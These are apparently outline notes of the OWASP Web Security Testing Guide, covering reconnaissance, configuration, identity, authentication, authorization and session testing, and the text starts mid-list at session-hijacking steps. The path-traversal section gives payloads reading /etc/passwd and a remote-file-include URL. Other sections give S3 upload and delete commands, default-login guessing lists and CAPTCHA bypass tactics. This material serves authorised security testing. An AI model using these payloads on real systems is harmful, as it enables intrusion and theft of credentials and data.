    1. 1. Login to the website as the victim and reach any page offering a secure function requiring authentication.
    2. 2. Delete from the cookie jar all the cookies which satisfy any of the following conditions.
    3. in case there is no HSTS adoption: the Secure attribute is set.
    4. in case there is partial HSTS adoption: the Secure attribute is set or the Domain attribute is not set.
    5. 3. Save a snapshot of the cookie jar.
    6. 4. Trigger the secure function identified at step 1.
    7. 5. Observe whether the operation at step 4 has been performed successfully. If so, the attack was successful.
    8. 6. Clear the cookie jar, login as the attacker and reach the page at step 1.
    9. 7. Write in the cookie jar, one by one, the cookies saved at step 3.
    10. 8. Trigger again the secure function identified at step 1.
    11. 9. Clear the cookie jar and login again as the victim.
    12. 10. Observe whether the operation at step 8 has been performed successfully in the victim’s account. If so, the attack
    13. was successful; otherwise, the site is secure against session hijacking.
  3. Tools
    1. OWASP ZAP
    2. JHijack - a numeric session hijacking tool
4.5 Authorization Testing
1. Testing Directory Traversal File Include
  1. Objectives
    1. Identify injection points that pertain to path traversal.
    2. Assess bypassing techniques and identify the extent of path traversal.
  2. How to Test
    1. Black-Box Testing
      1. Input Vectors Enumeration
      2. Are there request parameters which could be used for file-related operations?
      3. Are there unusual file extensions?
      4. Are there interesting variable names? file = , home= , item=
      5. Is it possible to identify cookies used by the web application for the dynamic generation of pages or templates?
      6. Testing Techniques
      7. Testing for Path Traversal
      8. item=../../../../etc/passwd
      9. Cookie: USER=1826cc8f:PSTYLE=../../../../etc/passwd
      10. file=http://www.owasp.org/malicioustxt
      11. file=file:///etc/passwd
      12. file=http://localhost:8080
    2. Gray-Box Testing
      1. During a source code review, they can use simple tools (such as the grep command) to search for one or more common patterns within the application code
      2. PHP: include(), include_once(), require(), require_once(), fopen(), readfile(), ...
      3. JSP/Servlet: java.io.File(), java.io.FileReader(), ...
      4. ASP: include file, include virtual, ...
  3. Tools
    1. DotDotPwn
    2. Path Traversal Fuzz Strings WFUZZ
    3. OWASP ZAP
    4. Burp Suite
    5. Enconding/Decoding tools
    6. String searcher “grep”
    7. DirBuster
  4. References
    1. phpBB Attachment Mod Directory Traversal HTTP POST Injection
    2. Windows File Pseudonyms: Pwnage and Poetry
2. Testing for Bypassing Authorization Schema
  1. Objectives
    1. Assess if horizontal or vertical access is possible.
  2. How to Test
    1. Testing for Horizontal Bypassing Authorization Schema
      1. Is it possible to access resources that should be accessible to a user that holds a different identity with the same role or privilege?
      2. Is it possible to operate functions on resources that should be accessible to a user that holds a different identity?
      3. Test for IDORs
    2. Testing for Vertical Bypassing Authorization Schema
      1. Access resources that should be accessible only to a higher role user.
      2. Operate functions on resources that should be operative only by a user that holds a higher or specific role identity.
      3. Test for IDORs
    3. Testing for Access to Administrative Functions
      1. What happens if a non-administrative user tries to execute that request?
      2. Will the user be created?
      3. If so, can the new user use their privileges?
    4. Testing for Access to Resources Assigned to a Different Role
    5. Testing for Special Request Header Handling
      1. Some applications support non-standard headers such as X-Original-URL or X-Rewrite-URL in order to allow overriding the target URL in requests with the one specified in the header value.
  3. Remediation
    1. Employ the least privilege principles on the users, roles, and resources to ensure that no unauthorized access occurs.
  4. Tools
    1. ZAP add-on: Access Control Testing
    2. Burp extension: Autorize
    3. Burp extension: AuthMatrix
  5. References
    1. OWASP Application Security Verification Standard 4.0.1
3. Testing for Privilege Escalation
  1. Objectives
    1. Identify injection points related to privilege manipulation.
    2. Fuzz or otherwise attempt to bypass security measures.
  2. How to Test
    1. Testing for Role/Privilege Manipulation
      1. Manipulation of User Group
      2. groupID=grp001&orderID=0001
      3. Manipulation of User Profile
      4. What if the tester modifies the value of the variable profile to SysAdmin ? Is it possible to become administrator?
      5. Manipulation of Condition Value
      6. verify that it is not possible to escalate privileges by modifying the parameter values.
      7. Manipulation of IP Address
      8. change the IP value of the X-forwarded-For HTTP header to workaround the IP source identification.
    2. URL Traversal
      1. /../.././userInfo.html
    3. WhiteBox
    4. Weak SessionID
      1. MD5(Password + UserID) as sessionID
  3. Tools
    1. OWASP Zed Attack Proxy (ZAP)
  4. References
    1. Wikipedia - Privilege Escalation
4. Testing for IDOR
  1. Objectives
    1. Identify points where object references may occur.
    2. Assess the access control measures and if they’re vulnerable to IDOR.
  2. How to Test
    1. The Value of a Parameter Is Used Directly to Retrieve a Database Record "try to modify it"
    2. The Value of a Parameter Is Used Directly to Perform an Operation in the System
    3. The Value of a Parameter Is Used Directly to Retrieve a File System Resource "see path traversal"
    4. The Value of a Parameter Is Used Directly to Access Application Functionality
  3. References
    1. Top 10 2013-A4-Insecure Direct Object References
4.4 Authentication Testing
1. Credentials Transported over an Encrypted Channel
  1. Objectives
    1. Assess whether any use case of the web site or application causes the server or the client to exchange credentials without encryption.
  2. How to Test
    1. Set up and start a tool to capture traffic
    2. Disable any features or plugins that make the web browser favour HTTPS. such as "HTTPS Everywhere"
    3. In the captured traffic, look for sensitive data
      1. Passphrases or passwords, usually inside a message body
      2. Tokens, usually inside cookies
      3. Account or password reset codes
    4. Login
      1. If the login page is normally HTTPS, attempt to remove the “S” to see if the login page loads as HTTP.
      2. Look for the Secure keyword in the response header on cookie header.
  3. Account Creation
    1. If there is a Set-Cookie: , verify it has a Secure; attribute as well.
    2. if the web application has features that allow a user to change an account or call a different service with credentials
      1. Forms that allow users to handle a forgotten password or other credential
      2. Forms that allow users to edit credentials
      3. Forms that require the user to authenticate with another provider (for example, payment processing)
  4. Accessing Resources While Logged In
    1. Forced browse to the HTTP version of the web site to see if the client leaks credentials.
  5. Remediation
    1. Use HTTPS for the whole web site. Implement HSTS and redirect any HTTP to HTTPS.
2. Testing for Default Credentials
  1. Objectives
    1. Enumerate the applications for default credentials
    2. Review and assess new user accounts and if they are created with any defaults or identifiable patterns.
  2. How to test
    1. Testing for Default Credentials of Common Applications
      1. Try the following usernames - “admin”, “administrator”, “root”, “system”, “guest”, “operator”, or “super”.
      2. Application administrative users are often named after the application or organization.
      3. When performing a test for a customer, attempt using names of contacts you have received as usernames with any common passwords.
      4. Attempt using all the above usernames with blank passwords.
      5. Review the page source and JavaScript either through a proxy or by viewing the source.
      6. Look for account names and passwords written in comments in the source code.
    2. Testing for Default Password of New Accounts
      1. Looking at the User Registration page may help to determine the expected format and minimum or maximum length of the application usernames and passwords.
      2. Try to extrapolate from the application how usernames are generated.
      3. Try to determine if the system generated password is predictable.
      4. If you have identified the correct naming convention for the user name, try to “brute force”
      5. Attempt using all the above usernames with blank passwords or using the username also as password value.
    3. Gray-Box Testing
      1. Talk to the IT personnel to determine which passwords they use for administrative access and how administration of the application is undertaken.
      2. Ask IT personnel if default passwords are changed and if default user accounts are disabled.
      3. Examine the user database for default credentials as described in the black-box testing section.
      4. Examine the code for hard coded usernames and passwords.
      5. Check for configuration files that contain usernames and passwords
      6. Examine the password policy and, if the application generates its own passwords for new users,
  3. Tools
    1. Burp Intruder
    2. THC Hydra
    3. Nikto
  4. References
    1. CIRT
3. Testing for Weak Lock Out Mechanism
  1. Objectives
    1. Evaluate the account lockout mechanism’s ability to mitigate brute force password guessing.
    2. Evaluate the unlock mechanism’s resistance to unauthorized account unlocking.
  2. How to Test
    1. Lockout Mechanism
      1. Log in with incorrect password 3 times
      2. log in with correct password so the lockout mechanism doesn’t trigger after 3 incorrect attemps.
      3. Increase the wrong attemps till you reach the lock out status.
      4. After lockout time finished login with your password
      5. To evaluate CAPTCHA effectiveness:
      6. attempt automating solutions depending on difficulty.
      7. submit request without solving CAPTCHA
      8. submit request with intentional CAPTCHA challenge failure
      9. Attempt to submit request without solving CAPTCHA and delete any params that verify you didn't solve CAPTCHA
      10. Attempt to fuzz CAPTCHA data entry points
      11. Check if the solution to the CAPTCHA might be the alt-text of the image(s)
      12. Attempt to re-submit previously identified known good responses
      13. Check if clearing cookies causes the CAPTCHA to be bypassed
      14. If the CAPTCHA is part of a multi-step process, attempt to simply access or complete a step beyond the CAPTCHA
      15. Check for alternative methods that might not have CAPTCHA enforced
    2. Unlock Mechanism
      1. The unlock link should be a unique one time link, to stop an attacker from guessing or replaying the link and performing brute force attacks in batches.
  3. Remediation
    1. 1. Time-based lockout and unlock.
    2. 2. Self-service unlock (sends unlock email to registered email address).
    3. 3. Manual administrator unlock.
    4. 4. Manual administrator unlock with positive user identification.
    5. implementing an account lockout mechanism
      1. What is the risk of brute force password guessing against the application?
      2. Is a CAPTCHA sufficient to mitigate this risk?
      3. s a client-side lockout mechanism being used (e.g., JavaScript)?
      4. Number of unsuccessful log in attempts before lockout.
      5. How will accounts be unlocked?
      6. Manually by an administrator
      7. After a period of time
      8. Via a self-service mechanism
  4. References
    1. See the OWASP article on Brute Force Attacks.
    2. Forgot Password CS.
4. Testing for Bypassing Authentication Schema
  1. Objectives
    1. Ensure that authentication is applied across all services that require it.
  2. How to Test
    1. Black-Box Testing
      1. Direct Page Request
      2. Attempt to directly access a protected page
      3. Parameter Modification
      4. A user could modify these parameters to gain access to the protected areas without providing valid credentials
      5. Session ID Prediction
      6. Predictable session id may gain the attacker access to the application
      7. SQL Injection (HTML Form Authentication)
    2. Gray-Box Testing
      1. Retrieving the source code form anywhere like github for instance so the attack can test these techniques on it.
  3. Tools
    1. WebGoat
    2. OWASP Zed Attack Proxy (ZAP)
  4. References
    1. Mark Roxberry: “PHPBB 2.0.13 vulnerability”
    2. David Endler: “Session ID Brute Force Exploitation and Prediction”
5. Testing for Vulnerable Remember Password
  1. Objectives
    1. Validate that the generated session is managed securely
  2. How to Test
    1. Credentials shouldn’t be stored in any way in the client-side application, and should be substitued by tokens generated serverside.
    2. Automatically inject the user’s credentials that can be abused by:
      1. ClickJacking attacks.
      2. CSRF attacks.
  3. Remediation
    1. Follow session management good practices.
    2. Ensure that no credentials are stored in clear text, they should be stored server-side and follow good password storage practices
6. Testing for Browser Cache Weaknesses
  1. Objectives
    1. Review if the application stores sensitive information on the client-side.
    2. Review if access can occur without authorization.
  2. How to Test
    1. Browser History
      1. Entering sensitive information into the application and logging out. Then click "back" button to see if he can access without authentication
      2. The Back button can be stopped from showing sensitive data.
      3. Delivering the page over HTTPS.
      4. Setting Cache-Control: must-revalidate
    2. Browser Cache
      1. Here testers check that the application does not leak any sensitive data into the browser cache.
      2. they can use a proxy ZAP and search through the server responses for sensitive information.
      3. Check the HTTP response headers
      4. Cache-Control: no-cache, no-store
      5. Expires: 0
      6. Pragma: no-cache
      7. Cache-Control: must-revalidate, max-age=0, s-maxage=0
      8. Reviewing Cached Information
      9. Cache details are also available via developer tools in most modern browsers
      10. Check Handling for Mobile Browsers
      11. Therefore, testers should start a new browsing session re-test or separately test the concepts outlined above.
    3. Gray-Box Testing
      1. The methodology for testing is equivalent to the black-box case
  3. Tools
    1. OWASP Zed Attack Proxy
  4. References
    1. Caching in HTTP
7. Testing for Weak Password Policy
  1. Objectives
    1. Test the app aginst the brute force and password guessing attacks by available dictionaries.
  2. How to Test
    1. What characters are permitted and forbidden for use within a password?
    2. How often can a user change their password?
    3. When must a user change their password?
    4. How often can a user reuse a password?
    5. How different must the next password be from the last password?
    6. Is the user prevented from using his username or other account information (such as first or last name) in the password?
    7. What are the minimum and maximum password lengths that can be set, and are they appropriate for the sensitivity of the account and application?
    8. Is it possible set common passwords such as Password1 or 123456 ?
  3. Remediation
    1. introduce additional authentication controls (i.e. two-factor authentication) or introduce a strong password policy.
  4. References
    1. Brute Force Attacks
8. Testing for Weak Security Question Answer
  1. Objectives
    1. Determine the complexity and how straight-forward the questions are.
    2. Assess possible user answers and brute force capabilities.
  2. How to Test
    1. Testing for Weak Pre-generated Questions
      1. Try to obtain a list of security questions by creating a new account or by following the process.
    2. Testing for Weak Self-Generated Questions
    3. Testing for Brute-forcible Answers
      1. number of questions that need to be answered.
      2. Could the answers be obtained by a simple Google search or with social engineering attack?
      3. Does the application allow the end user to choose the question that needs to be answered?
      4. A “public” answer; for example something with google search
      5. A factual answer such as a “first school”
      6. Determine how many guesses you have if possible.
    4. References
      1. The Curse of the Secret Question
      2. The OWASP Security Questions Cheat Sheet
9. Testing for Weak Reset Functionalities
  1. Objectives
    1. Determine the resistance of the application to subversion of the account change process allowing someone to change the password of an account.
    2. Determine the resistance of the passwords reset functionality against guessing or bypassing.
  2. How to Test
    1. If any user or administrator can change password for account they don't own
    2. If the user can change password of any other user.
    3. if the password change or reset process is vulnerable to CSRF.
    4. Test Password Reset
      1. What information is required to reset the password?
      2. How are reset passwords communicated to the user?
      3. Are reset passwords generated randomly?
      4. Is the reset password functionality requesting confirmation before changing the password?
    5. Test Password Change
      1. Is the old password requested to complete the change?
  3. Remediation
    1. requiring users to re-authenticate or presenting the user with confirmation screens during the process.
  4. References
    1. OWASP Forgot Password Cheat Sheet
10. Testing for Weaker Authentication in Alternative Channel
  1. Objectives
    1. Identify alternative authentication channels.
    2. Assess the security measures used and if any bypasses exists on the alternative channels.
  2. How to Test
    1. Understand the Primary Mechanism
      1. how accounts are issued, created or changed and how passwords are recovered, reset, or changed.
    2. Identify Other Channels
      1. Reading site content, especially the home page, contact us, help pages, support articles and FAQs, T&Cs, privacy notices, the robots.txt file and any sitemap.xml files.
      2. Searching HTTP proxy logs, such as “mobile”, “android”, blackberry”, “ipad”, “iphone”, “mobile app”, “e-reader”, “wireless”, “auth”, “sso”, “single sign on” in URL paths and body content.
      3. Using Dorks to find any other authentication channels
    3. Enumerate Authentication Functionality
      1. While enumerating these it is worth taking note of how session management is undertaken
    4. Review and Test
      1. If testing is permitted and authorized, all the other authentication tests in this guide should then be performed, and compared against the primary channel
  3. Remediation
    1. Ensure a consistent authentication policy is applied across all channels so that they are equally secure
4.3 Identity Management Testing
1. Test Role Definitions
  1. Objectives
    1. Identify and document roles used by the application
    2. Attempt to switch, change, or access another role
    3. Review the granularity of the roles and the needs behind the permissions given
  2. How to test
    1. Roles Identification
      1. Application documentation
      2. Guidance by the developers
      3. Fuzz possible roles
      4. cookie variable
      5. account variable
      6. hidden directories
      7. switching to well known users
    2. Switching to Available Roles
      1. the tester needs to test and validate that they can access the available roles
    3. Review Roles Permissions
  3. Tools
    1. - Burp’s Autorize extension
    2. - ZAP’s Access Control Testing add-on
2. Test User Registration Process
  1. Objectives
    1. - Verify that the identity requirements for user registration are aligned with business and security requirements
    2. - Validate the registration process.
  2. How to Test
    1. 1. Can anyone register for access?
    2. 2. Are registrations vetted by a human prior to provisioning, or are they automatically granted if the criteria are met?
    3. 3. Can the same person or identity register multiple times?
    4. 4. Can users register for different roles or permissions?
    5. 5. What proof of identity is required for a registration to be successful?
    6. 6. Are registered identities verified?
    7. Validate the registration process
      1. 1. Can identity information be easily forged or faked?
      2. 2. Can the exchange of identity information be manipulated during registration?
  3. Tools
    1. A HTTP proxy
3. Test Account Provisioning Process
  1. Objectives
    1. Verify which accounts may provision other accounts and of what type
  2. How to Test
    1. Determine which roles are able to provision users and what sort of accounts they can provision.
    2. Is there any verification, vetting and authorization of provisioning requests?
    3. Is there any verification, vetting and authorization of de-provisioning requests?
    4. Can an administrator provision other administrators or just users?
    5. Can an administrator or other user provision accounts with privileges greater than their own?
    6. Can an administrator or user de-provision themselves?
    7. How are the files or resources owned by the de-provisioned user managed? Are they deleted? Is access transferred?
  3. Tools
    1. HTTP proxy
4. Account Enumeration and Guessable User Account
  1. Objectives
    1. - Review processes that pertain to user identification (e.g. registration, login, etc.).
    2. - Enumerate users where possible through response analysis.
  2. HTTP Response Message
    1. Record the server answer when you submit a valid user ID and valid password.
    2. the tester should try to insert a valid user ID and a wrong password
    3. the tester should try to insert an invalid user ID and a wrong password and record the server answer
  3. Other Ways to Enumerate Users
    1. Analyzing the Error Code Received on Login Pages
    2. Analyzing URLs and URLs Re-directions
    3. URI Probing
    4. Analyzing Web Page Titles
    5. Analyzing a Message Received from a Recovery Facility
    6. Friendly 404 Error Message
  4. Tools
    1. OWASP Zed Attack Proxy (ZAP)
    2. curl
    3. PERL
5. Testing for Weak or Unenforced Username Policy
  1. Objectives
    1. - Determine whether a consistent account name structure renders the application vulnerable to account enumeration.
    2. - Determine whether the application’s error messages permit account enumeration.
  2. How to Test
    1. - Determine the structure of account names.
    2. - Evaluate the application’s response to valid and invalid account names.
    3. - Use different responses to valid and invalid account names to enumerate valid account names.
    4. - Use account name dictionaries to enumerate valid account names.
4.2 Configuration and Deployment Management Testing
1. Test Network Infrastructure Configuration
  1. Objectives
    1. Review the applications’ configurations set across the network and validate that they are not vulnerable.
    2. Validate that used frameworks and systems are secure and not susceptible to known vulnerabilities
  2. Administrative Tools
    1. FTP servers
    2. WebDAV
    3. network file systems
2. Test Application Platform Configuration
  1. Objectives
    1. Ensure that defaults and known files have been removed.
    2. Validate that no debugging code or extensions are left in the production environments.
    3. Review the logging mechanisms set in place for the application.
  2. Black-Box Testing
    1. Sample and Known Files and Directories
    2. Comment Review
  3. Gray-Box Testing
    1. Configuration Review
      1. Only enable server modules (ISAPI extensions in the case of IIS) that are needed for the application
      2. Handle server errors (40x or 50x) with custom-made pages instead of with the default web server pages
      3. Make sure that the server software runs with minimized privileges in the operating system
      4. Make sure the server software properly logs both legitimate access and errors.
      5. Make sure that the server is configured to properly handle overloads and prevent Denial of Service attacks
      6. Never grant non-administrative identities access to applicationHost.config, redirection.config, and administration.config
      7. Never share out applicationHost.config, redirection.config, and administration.config on the network
      8. Keep in mind that all users can read .NET Framework machine.config and root web.config files by default
      9. Encrypt sensitive information that should be read by the IIS
      10. Do not grant Write access to the identity that the Web server uses to access the shared applicationHost.config
      11. Use a separate identity to publish applicationHost.config to the share
      12. Use a strong password when exporting the encryption keys
      13. Maintain restricted access to the share containing the shared configuration and encryption keys
      14. Consider protecting this share with firewall rules and IPsec policies
    2. Logging
      1. 1. Do the logs contain sensitive information?
      2. 2. Are the logs stored in a dedicated server?
      3. 3. Can log usage generate a Denial of Service condition?
      4. 4. How are they rotated? Are logs kept for the sufficient time?
      5. 5. How are logs reviewed? Can administrators use these reviews to detect targeted attacks?
      6. 6. How are log backups preserved?
      7. 7. Is the data being logged data validated (min/max length, chars etc) prior to being logged?
    3. Log Location
      1. Consequently, it is wiser to keep logs in a separate location and not in the web server itself
    4. Log Storage
    5. Log Rotation
      1. Logs are kept for the time defined in the security policy, not more and not less.
      2. Logs are compressed once rotated
      3. File system permission of rotated log files are the same that those of the log files itself
    6. Log Access Control
      1. Event log information should never be visible to end users
    7. Log Review
      1. In order to analyze web server attacks the error log files of the server need to be analyzed
  4. References
    1. Logging Cheatsheet
3. Test File Extensions Handling for Sensitive Information
  1. Objectives
    1. Dirbust sensitive file extensions, or extensions that might contain raw data
    2. Validate that no system framework bypasses exist on the rules set
  2. How to test
    1. Forced Browsing
      1. Submit requests with different file extensions and verify how they are handled
    2. File Upload
  3. Tools
    1. wget
    2. curl
    3. google for “web mirroring tools”
4. Old Backup and Unreferenced Files for Sensitive Information
  1. Objectives
    1. Find and analyse unreferenced files that might contain sensitive information
  2. How to test
    1. Inference from the Naming Scheme Used for Published Content
    2. Other Clues in Published Content
      1. Comments
      2. robots file
      3. HTML forms
    3. Blind Guessing
      1. Identify the file extensions in use within known areas of the application
      2. For each file identified through other enumeration techniques, create a custom wordlist derived from that filename
    4. Server Vulnerabilities and Misconfiguration
      1. Apache ?M=D directory listing vulnerability.
      2. Various IIS script source disclosure vulnerabilities.
      3. IIS WebDAV directory listing vulnerabilities.
    5. Publicly Available Information
      1. Pages that used to be referenced may still appear in the archives of Internet search engines
      2. Google and Yahoo keep cached versions of pages
      3. Content that is not referenced from within a target application
    6. Filename Filter Bypass
      1. - Remove incompatible characters
      2. - Convert spaces to underscores
      3. - Take the first six characters of the basename
      4. - Add ~<digit> which is used to distinguish files with names using the same six initial characters
      5. - This convention changes after the first 3 cname ollisions
      6. - Truncate file extension to three characters
      7. - Make all the characters uppercase
  3. Remediation
    1. Editing files in-place on the web server or application server file systems
    2. Carefully check any other activity performed on file systems exposed by the web server
    3. Appropriate configuration management policies should help prevent obsolete and un-referenced files.
  4. Tools
    1. Nessus
    2. Nikto2
    3. Web spider tools
    4. wget
    5. Wget for Windows
    6. Sam Spade
    7. Spike proxy includes a web site crawler function
    8. Xenu
    9. curl
5. Enumerate Infrastructure and Application Admin Interfaces
  1. Objectives
    1. Identify hidden administrator interfaces and functionality
  2. Black-Box Testing
    1. - Directory and file Enum using Google dorking.
    2. - Using automation with tool related to directories bruteforcing
    3. - Comments and links in source code.
    4. - Publicly available information. Many applications such as WordPress have default administrative interfaces
    5. - Alternative server port. the uncommon ones.
    6. - Parameter tampering. A GET or POST parameter or a cookie variable may be required to enable the administrator functionality.
  3. Gray-Box Testing
    1. Each web framework may have its own admin default pages or path
  4. Tools
    1. OWASP ZAP
    2. THC-HYDRA
6. Test HTTP Methods
  1. Objectives
    1. Enumerate supported HTTP methods.
    2. Test for access control bypass.
    3. Test XST vulnerabilities.
    4. Test HTTP method overriding techniques
  2. How to test
    1. Discover the Supported Methods
    2. Testing for Access Control Bypass
    3. Testing for Cross-Site Tracing Potential
    4. Testing for HTTP Method Overriding
  3. Tools
    1. Ncat
    2. cURL
    3. nmap http-methods NSE script
    4. w3af plugin htaccess_methods
7. Test HTTP Strict Transport Security
  1. Objectives
    1. Review the HSTS header and its validity
  2. How to test
    1. The presence of the HSTS header can be confirmed by examining the server’s response through an intercepting proxy or by using curl
8. Test RIA Cross Domain Policy
  1. Objectives
    1. Review and validate the policy files
  2. Testing for RIA Policy Files Weakness
    1. To test for RIA policy file weakness the tester should try to retrieve the policy files crossdomain.xml & clientaccesspolicy.xml from the application’s root, and from every folder found.
  3. Tools
    1. - Nikto
    2. - OWASP Zed Attack Proxy Project
    3. - W3af
9. Test File Permission
  1. Objectives
    1. Review and identify any rogue file permissions
  2. How to test
    1. In Linux, use ls command to check the file permissions
10. Test for Subdomain Takeover
  1. Objectives
    1. Enumerate all possible domains
    2. Identify forgotten or misconfigured domains
  2. How to test
    1. Using the dig command the tester looks for the following DNS server response messages
    2. Testing DNS A, CNAME Record Subdomain Takeover
    3. Identify which DNS resource records are dead and point to
    4. performs a whois database lookup and identifies GitHub as the service provider
  3. Tools
    1. dig - man page
    2. recon-ng - Web Reconnaissance framework
    3. theHarvester - OSINT intelligence gathering tool
    4. Sublist3r - OSINT subdomain enumeration tool
    5. dnsrecon - DNS Enumeration Script
    6. OWASP Amass DNS enumeration
11. Test Cloud Storage
  1. Objectives
    1. Assess that the access control configuration for the storage services is properly in place.
  2. How to Test
    1. curl -X GET https://<cloud-storage-service>/<object>
    2. curl -X PUT -d 'test' 'https://<cloud-storage-service>/test.txt’
  3. Testing for Amazon S3 Bucket Misconfiguration
    1. Identify Bucket URL
    2. Testing with AWS-CLI
      1. lists all the objects of the bucket when it is configured public
      2. aws s3 ls s3://<bucket-name>
      3. upload a file
      4. aws s3 cp arbitrary-file s3://bucket-name/path-to-save
      5. shows the result when the upload has been successful
      6. $ aws s3 cp test.txt s3://bucket-name/test.txt
      7. shows the result when the upload has failed
      8. $ aws s3 cp test.txt s3://bucket-name/test.txt
      9. remove an object
      10. aws s3 rm s3://bucket-name/object-to-remove
4.1 Information Gathering
1. Conduct Search Engine Discovery Reconnaissance for Information Leakage
  1. Objectives
    1. Identify what sensitive design and configuration information of the application, system, or organization is exposed directly (on the organization’s website) or indirectly (via third-party services).
  2. How to Test
    1. network diagrams and configurations;
    2. archived posts and emails by administrators or other key staff;
    3. logon procedures and username formats;
    4. usernames, passwords, and private keys;
    5. third-party, or cloud service configuration files;
    6. revealing error message content
    7. development, test, User Acceptance Testing (UAT), and staging versions of sites.
    8. Search Engines
      1. Google
      2. Bing
      3. DuckDuckGo
      4. Shodan
      5. Wayback Machine
    9. Search Operators
      1. site:
      2. inurl:
      3. intitle:
      4. intext:
      5. filetype:
      6. cache:
  3. Remediation
    1. Carefully consider the sensitivity of design and configuration information before it is posted online.
    2. Periodically review the sensitivity of existing design and configuration information that is posted online
2. Fingerprint Web Server
  1. Objectives
    1. Determine the version and type of a running web server to enable further discovery of any known vulnerabilities.
  2. How to Test
    1. Banner Grabbing
      1. sending an HTTP request to the web server and examining its response header
    2. Sending Malformed Requests
      1. the response to a request for the non-existent method SANTA CLAUS
    3. Using Automated Scanning Tools
      1. Nikto
      2. Netcraft
      3. NMAP
  3. Remediation
    1. Ensuring that web servers are kept up-to-date with the latest software and security patches
    2. Using a hardened reverse proxy server to create an additional layer of security
    3. Obscuring web server information in headers, such as with Apache’s mod_headers module.
3. Review Webserver Metafiles for Information Leakage
  1. Objectives
    1. Identify hidden or obfuscated paths and functionality through the analysis of metadata files.
    2. Extract and map other information that could lead to better understanding of the systems at hand
  2. How to test
    1. Robots.txt
    2. META Tags
    3. Sitemaps
    4. Security TXT
    5. Humans TXT
    6. .well-known Information Sources
  3. Tools
    1. Browser
    2. curl
    3. wget
    4. Burp Suite
    5. ZAP
4. Enumerate Applications on Webserver
  1. Objectives
    1. Enumerate the applications within scope that exist on a web server.
  2. How to test
    1. Different Base URL
      1. probe for URLs which might be likely candidates for non-published applications
    2. Non-standard Ports
      1. determine what services are bound to them
    3. Virtual Hosts
      1. DNS Zone Transfers
      2. Web-based DNS Searches
      3. Reverse-IP Services
  3. Tools
    1. DNS lookup tools such as nslookup , dig and similar
    2. Search engines
    3. Nmap
    4. Nessus Vulnerability Scanner
    5. Nikto
5. Review Webpage Content for Information Leakage
  1. Objectives
    1. Review webpage comments and metadata to find any information leakage
    2. Gather JavaScript files and review the JS code to better understand the application and to find any information leakage
    3. Identify if source map files or other front-end debug files exist
  2. How to test
    1. Review webpage comments and metadata
    2. Identifying JavaScript Code and Gathering JavaScript Files
    3. Identifying Source Map Files
  3. Tools
    1. Wget
    2. Browser
    3. Eyeballs
    4. Curl
    5. Burp Suite
    6. Waybackurls
    7. Google Maps API Scanner
6. Identify Application Entry Points
  1. Objectives
    1. Identify possible entry and injection points through request and response analysis
  2. How to test
    1. Black-Box Testing
      1. GET and POST reqeusts
    2. Gray-Box Testing
      1. The Attack Surface Detector (ASD) tool investigates the source code and uncovers the endpoints of a web application
  3. Tools
    1. OWASP Zed Attack Proxy
    2. Burp Suite
    3. Fiddler
7. Map Execution Paths Through Application
  1. Objectives
    1. Map the target application and understand the principal workflows.
  2. How to test
    1. Code Review
    2. Automatic Spidering with ZAP
      1. Spider
      2. AJAX Spider
      3. OpenAPI Support
  3. Tools
    1. Zed Attack Proxy
    2. List of spreadsheet software
    3. Diagramming software
8. Fingerprint Web Application Framework
  1. Objectives
    1. Fingerprint the components being used by the web applications.
  2. How to test
    1. Black-Box Testing
      1. - HTTP headers
      2. - Cookies
      3. - HTML source code
      4. - Specific files and folders
      5. - File extensions
      6. - Error messages
  3. Tools
    1. Wappalyzer
    2. WhatWeb